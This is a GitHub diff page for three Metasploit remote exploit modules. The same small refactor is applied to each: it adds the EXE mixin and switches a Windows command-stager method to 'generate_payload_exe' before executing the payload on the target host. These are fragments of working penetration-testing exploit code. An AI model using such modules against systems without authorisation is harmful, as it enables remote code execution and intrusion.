File tree Expand file tree Collapse file tree 3 files changed +6
-3
lines changed Expand file tree Collapse file tree 3 files changed +6
-3
lines changed Original file line number Diff line number Diff line change @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::CmdStager
12
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::EXE
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -96,7 +97,7 @@ def windows_stager
96
97
97
98
print_status ( "Sending request to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
98
99
execute_cmdstager ( { :temp => '.' } )
99
- @payload_exe = payload_exe
100
+ @payload_exe = generate_payload_exe
100
101
101
102
print_status ( "Attempting to execute the payload..." )
102
103
execute_command ( @payload_exe )
Original file line number Diff line number Diff line change @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::CmdStager
12
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::EXE
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -55,7 +56,7 @@ def initialize(info = {})
55
56
def windows_stager
56
57
print_status ( "Sending request to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
57
58
execute_cmdstager ( { :temp => '.' } )
58
- @payload_exe = payload_exe
59
+ @payload_exe = generate_payload_exe
59
60
60
61
print_status ( "Attempting to execute the payload..." )
61
62
execute_command ( @payload_exe )
Original file line number Diff line number Diff line change @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::CmdStager
12
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::EXE
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -56,7 +57,7 @@ def initialize(info = {})
56
57
def windows_stager
57
58
print_status ( "Sending request to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
58
59
execute_cmdstager ( { :temp => '.' } )
59
- @payload_exe = payload_exe
60
+ @payload_exe = generate_payload_exe
60
61
61
62
print_status ( "Attempting to execute the payload..." )
62
63
execute_command ( @payload_exe )
You can’t perform that action at this time.
0 commit comments